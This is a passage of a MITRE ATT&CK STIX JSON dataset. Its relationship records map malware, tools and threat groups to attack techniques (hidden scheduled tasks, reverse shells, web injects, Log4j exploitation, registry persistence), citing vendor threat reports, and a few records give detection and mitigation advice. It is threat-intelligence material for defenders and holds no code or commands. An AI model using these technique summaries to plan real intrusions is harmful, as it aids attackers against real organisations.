Storm)","relationship_type":"uses","source_ref":"malware--166c0eca-02fd-424a-92c0-6b5106994d31","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3f03658e-6396-4777-adc1-4612abc54739","created":"2022-06-01T18:42:54.783Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Tarrask scheduled task","description":"Microsoft Threat Intelligence Team & Detection and Response Team . (2022, April 12). Tarrask malware uses scheduled tasks for defense evasion. Retrieved June 1, 2022.","url":"https://www.microsoft.com/security/blog/2022/04/12/tarrask-malware-uses-scheduled-tasks-for-defense-evasion/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-18T15:54:49.197Z","description":"[Tarrask](https://attack.mitre.org/software/S1011) may abuse the Windows schtasks command-line tool to create \"hidden\" scheduled tasks.(Citation: Tarrask scheduled task)","relationship_type":"uses","source_ref":"malware--988976ff-beeb-4fb5-b07d-ca7437ea66e8","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3f0bdc47-230f-4228-8d55-41023f34c305","type":"relationship","created":"2021-09-22T17:45:10.377Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-09-22T17:45:10.377Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--1bae753e-8e52-4055-a66d-2ead90303ca9","target_ref":"attack-pattern--457c7820-d331-465a-915e-42f85500ccc4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3f0d3b07-9996-40bc-a2c3-6ed7eb39e5fc","type":"relationship","created":"2022-03-26T03:47:59.041Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Mythc Documentation","url":"https://docs.mythic-c2.net/","description":"Thomas, C. (n.d.). Mythc Documentation. Retrieved March 25, 2022."}],"modified":"2022-03-26T03:47:59.041Z","description":"[Mythic](https://attack.mitre.org/software/S0699) supports HTTP-based C2 profiles.(Citation: Mythc Documentation)\t","relationship_type":"uses","source_ref":"tool--d505fc8b-2e64-46eb-96d6-9ef7ffca5b66","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3f0e6cfa-7edc-4eaa-bc03-754d0f46d605","type":"relationship","created":"2020-03-17T19:00:50.263Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html","description":"Carr, N., et al. (2018, August 01). On the Hunt for FIN7: Pursuing an Enigmatic and Evasive Global Criminal Operation. Retrieved August 23, 2018.","source_name":"FireEye FIN7 Aug 2018"},{"source_name":"Flashpoint FIN 7 March 2019","url":"https://www.flashpoint-intel.com/blog/fin7-revisited-inside-astra-panel-and-sqlrat-malware/","description":"Platt, J. and Reeves, J.. (2019, March). FIN7 Revisited: Inside Astra Panel and SQLRat Malware. Retrieved June 18, 2019."},{"source_name":"CrowdStrike Carbon Spider August 2021","url":"https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-1/","description":"Loui, E. and Reynolds, J. (2021, August 30). CARBON SPIDER Embraces Big Game Hunting, Part 1. Retrieved September 20, 2021."}],"modified":"2021-09-22T14:40:08.794Z","description":"[FIN7](https://attack.mitre.org/groups/G0046) used VBS scripts to help perform tasks on the victim's machine.(Citation: FireEye FIN7 Aug 2018)(Citation: Flashpoint FIN 7 March 2019)(Citation: CrowdStrike Carbon Spider August 2021)","relationship_type":"uses","source_ref":"intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc","target_ref":"attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3f14994e-149d-4cca-85b8-eec0964120d3","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT30","description":"FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.","url":"https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"}],"modified":"2020-03-20T16:10:18.317Z","description":"Adversaries can direct [BACKSPACE](https://attack.mitre.org/software/S0031) to execute from the command line on infected hosts, or have [BACKSPACE](https://attack.mitre.org/software/S0031) create a reverse shell.(Citation: FireEye APT30)","relationship_type":"uses","source_ref":"malware--fb261c56-b80e-43a9-8351-c84081e7213d","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3f152371-cef7-405b-b586-ec87e774ccb4","created":"2022-10-12T12:43:28.035Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"MSTIC DEV-0537 Mar 2022","description":"MSTIC, DART, M365 Defender. (2022, March 24). DEV-0537 Criminal Actor Targeting Organizations for Data Exfiltration and Destruction. Retrieved May 17, 2022.","url":"https://www.microsoft.com/security/blog/2022/03/22/dev-0537-criminal-actor-targeting-organizations-for-data-exfiltration-and-destruction/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-12T12:44:06.405Z","description":"[LAPSUS$](https://attack.mitre.org/groups/G1004) has gathered detailed knowledge of team structures within a target organization.(Citation: MSTIC DEV-0537 Mar 2022)","relationship_type":"uses","source_ref":"intrusion-set--d8bc9788-4f7d-41a9-9e9d-ee1ea18a8cf7","target_ref":"attack-pattern--cc723aff-ec88-40e3-a224-5af9fd983cc4","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3f15c9e4-93d9-4fd9-891f-3d9ca982a030","created":"2023-10-03T19:33:26.852Z","revoked":false,"external_references":[{"source_name":"Proofpoint TA2541 February 2022","description":"Larson, S. and Wise, J. (2022, February 15). Charting TA2541's Flight. Retrieved September 12, 2023.","url":"https://www.proofpoint.com/us/blog/threat-insight/charting-ta2541s-flight"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-03T19:33:26.852Z","description":"(Citation: Proofpoint TA2541 February 2022)","relationship_type":"uses","source_ref":"intrusion-set--467271fd-47c0-4e90-a3f9-d84f5cf790d0","target_ref":"malware--fde19a18-e502-467f-be14-58c71b4e7f4b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3f1681dd-555a-42e0-80c0-9b4ad1d6feb8","type":"relationship","created":"2022-03-30T14:26:51.856Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.856Z","description":"Collecting and comparing disk and resource filenames for binaries by looking to see if the InternalName, OriginalFilename, and/or ProductName match what is expected could provide useful leads, but may not always be indicative of malicious activity.","source_ref":"x-mitre-data-component--ee575f4a-2d4f-48f6-b18b-89067760adc1","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3f1ab899-077c-4f89-81ed-98683ac8753e","created":"2021-07-26T13:47:38.296Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Group IB GrimAgent July 2021","description":"Priego, A. (2021, July). THE BROTHERS GRIM: THE REVERSING TALE OF GRIMAGENT MALWARE USED BY RYUK. Retrieved September 19, 2024.","url":"https://www.group-ib.com/blog/grimagent/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-19T14:32:39.430Z","description":"[GrimAgent](https://attack.mitre.org/software/S0632) can use a hardcoded server public RSA key to encrypt the first request to C2.(Citation: Group IB GrimAgent July 2021)","relationship_type":"uses","source_ref":"malware--c9b99d03-ff11-4a48-95f0-82660d582c25","target_ref":"attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3f1c4a22-7b44-4474-8e3f-192575bc2f35","type":"relationship","created":"2022-03-30T14:26:51.853Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.853Z","description":"Monitor for newly constructed services/daemons through Windows event logs for event IDs 4697 and 7045. (Citation: Secure Ideas SMB Relay) Deploy an LLMNR/NBT-NS spoofing detection tool.(Citation: GitHub Conveigh)","source_ref":"x-mitre-data-component--5297a638-1382-4f0c-8472-0d21830bf705","target_ref":"attack-pattern--650c784b-7504-4df7-ab2c-4ea882384d1e","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Secure Ideas SMB Relay","description":"Kuehn, E. (2018, April 11). Ever Run a Relay? Why SMB Relays Should Be On Your Mind. Retrieved February 7, 2019.","url":"https://blog.secureideas.com/2018/04/ever-run-a-relay-why-smb-relays-should-be-on-your-mind.html"},{"source_name":"GitHub Conveigh","description":"Robertson, K. (2016, August 28). Conveigh. Retrieved November 17, 2017.","url":"https://github.com/Kevin-Robertson/Conveigh"}]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3f221ccc-1be7-4959-b239-6a3e027da1ae","type":"relationship","created":"2020-05-27T15:31:09.458Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"RedCanary Mockingbird May 2020","url":"https://redcanary.com/blog/blue-mockingbird-cryptominer/","description":"Lambert, T. (2020, May 7). Introducing Blue Mockingbird. Retrieved May 26, 2020."}],"modified":"2020-06-25T13:59:09.706Z","description":"[Blue Mockingbird](https://attack.mitre.org/groups/G0108) has used Windows Scheduled Tasks to establish persistence on local and remote hosts.(Citation: RedCanary Mockingbird May 2020)","relationship_type":"uses","source_ref":"intrusion-set--73a80fab-2aa3-48e0-a4d0-3a4828200aee","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3f22638d-1003-44d6-a46e-eab83b966834","created":"2022-12-01T15:56:50.485Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant APT41","description":"Rufus Brown, Van Ta, Douglas Bienstock, Geoff Ackerman, John Wolfram. (2022, March 8). Does This Look Infected? A Summary of APT41 Targeting U.S. State Governments. Retrieved July 8, 2022.","url":"https://www.mandiant.com/resources/apt41-us-state-governments"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-01-26T16:44:31.048Z","description":"\nDuring [C0017](https://attack.mitre.org/campaigns/C0017), [APT41](https://attack.mitre.org/groups/G0096) exploited CVE-2021-44207 in the USAHerds application and CVE-2021-44228 in Log4j, as well as other .NET deserialization, SQL injection, and directory traversal vulnerabilities to gain initial access.(Citation: Mandiant APT41)","relationship_type":"uses","source_ref":"campaign--ba6dfa37-f401-4140-88b0-8938f2895e61","target_ref":"attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3f23a228-4817-44a0-9d08-210c23057b42","type":"relationship","created":"2020-12-03T20:32:03.582Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Accenture HyperStack October 2020","url":"https://www.accenture.com/us-en/blogs/cyber-defense/turla-belugasturgeon-compromises-government-entity","description":"Accenture. (2020, October). Turla uses HyperStack, Carbon, and Kazuar to compromise government entity. Retrieved December 2, 2020."}],"modified":"2020-12-03T20:32:03.582Z","description":"[HyperStack](https://attack.mitre.org/software/S0537) can use default credentials to connect to IPC$ shares on remote machines.(Citation: Accenture HyperStack October 2020)","relationship_type":"uses","source_ref":"malware--2cf7dec3-66fc-423f-b2c7-58f1de243b4e","target_ref":"attack-pattern--6151cbea-819b-455a-9fa6-99a1cc58797d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3f27ef2a-48e8-4d37-8618-fe61dfcafd3e","created":"2019-09-23T23:14:16.750Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT41 Aug 2019","description":"Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.","url":"https://www.mandiant.com/sites/default/files/2022-02/rt-apt41-dual-operation.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T15:27:10.510Z","description":"(Citation: FireEye APT41 Aug 2019)","relationship_type":"uses","source_ref":"intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7","target_ref":"tool--4664b683-f578-434f-919b-1c1aad2a1111","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3f29b80a-0444-4664-8faa-58a39de9264e","created":"2019-04-17T13:23:24.189Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT33 Guardrail","description":"Ackerman, G., et al. (2018, December 21). OVERRULED: Containing a Potentially Destructive Adversary. Retrieved January 17, 2019.","url":"https://www.fireeye.com/blog/threat-research/2018/12/overruled-containing-a-potentially-destructive-adversary.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-11T03:00:39.621Z","description":"[APT33](https://attack.mitre.org/groups/G0064) has used base64 to encode payloads.(Citation: FireEye APT33 Guardrail)","relationship_type":"uses","source_ref":"intrusion-set--fbd29c89-18ba-4c2d-b792-51c0adee049f","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3f2c9c58-21e8-409f-9b64-02f228232d15","created":"2023-02-16T18:48:00.606Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Secureworks DarkTortilla Aug 2022","description":"Secureworks Counter Threat Unit Research Team. (2022, August 17). DarkTortilla Malware Analysis. Retrieved November 3, 2022.","url":"https://www.secureworks.com/research/darktortilla-malware-analysis"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-06T22:11:38.350Z","description":"[DarkTortilla](https://attack.mitre.org/software/S1066) can use `cmd.exe` to add registry keys for persistence.(Citation: Secureworks DarkTortilla Aug 2022)","relationship_type":"uses","source_ref":"malware--5faaf81a-aa5b-4a4b-bae5-522439e068f8","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3f2f8ae7-0690-4987-a00c-6b234b938fef","type":"relationship","created":"2020-12-28T22:09:15.732Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Molerats Dec 2020","url":"https://www.cybereason.com/hubfs/dam/collateral/reports/Molerats-in-the-Cloud-New-Malware-Arsenal-Abuses-Cloud-Platforms-in-Middle-East-Espionage-Campaign.pdf","description":"Cybereason Nocturnus Team. (2020, December 9). MOLERATS IN THE CLOUD: New Malware Arsenal Abuses Cloud Platforms in Middle East Espionage Campaign. Retrieved December 22, 2020."}],"modified":"2020-12-28T22:09:15.732Z","description":"[MoleNet](https://attack.mitre.org/software/S0553) can use PowerShell to set persistence.(Citation: Cybereason Molerats Dec 2020) ","relationship_type":"uses","source_ref":"malware--8a59f456-79a0-4151-9f56-9b1a67332af2","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3f32468a-13b6-484b-b292-47702e470df1","created":"2023-09-26T14:31:28.947Z","revoked":false,"external_references":[{"source_name":"MoustachedBouncer ESET August 2023","description":"Faou, M. (2023, August 10). MoustachedBouncer: Espionage against foreign diplomats in Belarus. Retrieved September 25, 2023.","url":"https://www.welivesecurity.com/en/eset-research/moustachedbouncer-espionage-against-foreign-diplomats-in-belarus/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-26T18:24:41.477Z","description":"[Disco](https://attack.mitre.org/software/S1088) has achieved initial access and execution through content injection into DNS, HTTP, and SMB replies to targeted hosts that redirect them to download malicious files.(Citation: MoustachedBouncer ESET August 2023)","relationship_type":"uses","source_ref":"malware--e1445afd-c359-45ed-8f27-626dc4d5e157","target_ref":"attack-pattern--43c9bc06-715b-42db-972f-52d25c09a20c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3f37a188-b994-4191-aee1-56d0c60101e1","type":"relationship","created":"2020-03-20T21:00:35.667Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf","description":"Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.","source_name":"Forcepoint Monsoon"},{"url":"https://researchcenter.paloaltonetworks.com/2018/03/unit42-patchwork-continues-deliver-badnews-indian-subcontinent/","description":"Levene, B. et al.. (2018, March 7). Patchwork Continues to Deliver BADNEWS to the Indian Subcontinent. Retrieved March 31, 2018.","source_name":"PaloAlto Patchwork Mar 2018"},{"url":"https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf","description":"Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.","source_name":"TrendMicro Patchwork Dec 2017"}],"modified":"2020-03-20T21:00:35.667Z","description":"[BADNEWS](https://attack.mitre.org/software/S0128) can use multiple C2 channels, including RSS feeds, Github, forums, and blogs.(Citation: Forcepoint Monsoon)(Citation: PaloAlto Patchwork Mar 2018)(Citation: TrendMicro Patchwork Dec 2017)","relationship_type":"uses","source_ref":"malware--e9595678-d269-469e-ae6b-75e49259de63","target_ref":"attack-pattern--be055942-6e63-49d7-9fa1-9cb7d8a8f3f4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3f3fffec-6c91-45e2-8c4c-d1c7bdcde76b","type":"relationship","created":"2019-05-31T14:15:06.363Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, October 13). Dridex (Bugat v5) Botnet Takeover Operation. Retrieved May 31, 2019.","url":"https://www.secureworks.com/research/dridex-bugat-v5-botnet-takeover-operation","source_name":"Dell Dridex Oct 2015"}],"modified":"2019-05-31T15:35:30.946Z","description":"[Dridex](https://attack.mitre.org/software/S0384) can perform browser attacks via web injects to steal information such as credentials, certificates, and cookies.(Citation: Dell Dridex Oct 2015)","relationship_type":"uses","source_ref":"malware--f01e2711-4b48-4192-a2e8-5f56c945ca19","target_ref":"attack-pattern--544b0346-29ad-41e1-a808-501bb4193f47","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3f403d71-cb42-4f08-a0f3-ea6956d35dcb","type":"relationship","created":"2022-02-25T15:27:45.019Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-02-25T15:27:45.019Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--a4657bc9-d22f-47d2-a7b7-dd6ec33f3dde","target_ref":"attack-pattern--aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3f407ec6-355d-4741-903a-a58c726f78d1","created":"2023-09-11T16:06:10.317Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-11T16:06:10.317Z","description":"Disable WiFi connection, modem, cellular data connection, Bluetooth, or another radio frequency (RF) channel in local computer security settings or by group policy if it is not needed within an environment.","relationship_type":"mitigates","source_ref":"course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31","target_ref":"attack-pattern--51ea26b1-ff1e-4faa-b1a0-1114cd298c87","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3f4096d5-06d8-4a1e-bb31-0e2b37d5f622","type":"relationship","created":"2021-09-21T15:16:40.909Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET BackdoorDiplomacy Jun 2021","url":"https://www.welivesecurity.com/2021/06/10/backdoordiplomacy-upgrading-quarian-turian/","description":"Adam Burgher. (2021, June 10). BackdoorDiplomacy: Upgrading from Quarian to Turian. Retrieved September 1, 2021"}],"modified":"2021-10-07T20:19:55.937Z","description":"[BackdoorDiplomacy](https://attack.mitre.org/groups/G0135) has exploited CVE-2020-5902, an F5 BIP-IP vulnerability, to drop a Linux backdoor. [BackdoorDiplomacy](https://attack.mitre.org/groups/G0135) has also exploited mis-configured Plesk servers.(Citation: ESET BackdoorDiplomacy Jun 2021)","relationship_type":"uses","source_ref":"intrusion-set--9735c036-8ebe-47e9-9c77-b0ae656dab93","target_ref":"attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3f416bd3-a06f-4ec2-8cf6-4a84e0611c63","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"xCmd","description":"Rayaprolu, A.. (2011, April 12). xCmd an Alternative to PsExec. Retrieved August 10, 2016.","url":"https://ashwinrayaprolu.wordpress.com/2011/04/12/xcmd-an-alternative-to-psexec/"}],"modified":"2018-10-17T00:14:20.652Z","description":"[xCmd](https://attack.mitre.org/software/S0123) can be used to execute binaries on remote systems by creating and starting a service.(Citation: xCmd)","relationship_type":"uses","source_ref":"tool--4fa49fc0-9162-4bdb-a37e-7aa3dcb6d38b","target_ref":"attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3f424011-cde1-4ed5-b067-3cb4d6193d72","created":"2023-01-30T23:21:18.257Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"SentinelLabs Metador Sept 2022","description":"Ehrlich, A., et al. (2022, September). THE MYSTERY OF METADOR | AN UNATTRIBUTED THREAT HIDING IN TELCOS, ISPS, AND UNIVERSITIES. Retrieved January 23, 2023.","url":"https://assets.sentinelone.com/sentinellabs22/metador#page=1"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-04T21:16:54.836Z","description":"[Mafalda](https://attack.mitre.org/software/S1060) can use raw TCP for C2.(Citation: SentinelLabs Metador Sept 2022)","relationship_type":"uses","source_ref":"malware--3be1fb7a-0f7e-415e-8e3a-74a80d596e68","target_ref":"attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3f42c6bd-332d-40b0-9e5f-ead557d021c9","created":"2022-10-11T15:44:11.541Z","revoked":false,"external_references":[{"source_name":"SentinelOne Aoqin Dragon June 2022","description":"Chen, Joey. (2022, June 9). Aoqin Dragon | Newly-Discovered Chinese-linked APT Has Been Quietly Spying On Organizations For 10 Years. Retrieved July 14, 2022.","url":"https://www.sentinelone.com/labs/aoqin-dragon-newly-discovered-chinese-linked-apt-has-been-quietly-spying-on-organizations-for-10-years/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-11T15:44:11.541Z","description":"[Aoqin Dragon](https://attack.mitre.org/groups/G1007) has used the Themida packer to obfuscate malicious payloads.(Citation: SentinelOne Aoqin Dragon June 2022)","relationship_type":"uses","source_ref":"intrusion-set--64d5f96a-f121-4d19-89f6-6709f5c49faa","target_ref":"attack-pattern--deb98323-e13f-4b0c-8d94-175379069062","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3f4700e6-71a4-4995-b173-00974a528905","type":"relationship","created":"2019-07-02T14:54:53.700Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET LoJax Sept 2018","url":"https://www.welivesecurity.com/wp-content/uploads/2018/09/ESET-LoJax.pdf","description":"ESET. (2018, September). LOJAX First UEFI rootkit found in the wild, courtesy of the Sednit group. Retrieved July 2, 2019."}],"modified":"2019-12-20T13:43:45.272Z","description":"[LoJax](https://attack.mitre.org/software/S0397) has modified the Registry key ‘HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\BootExecute’ from 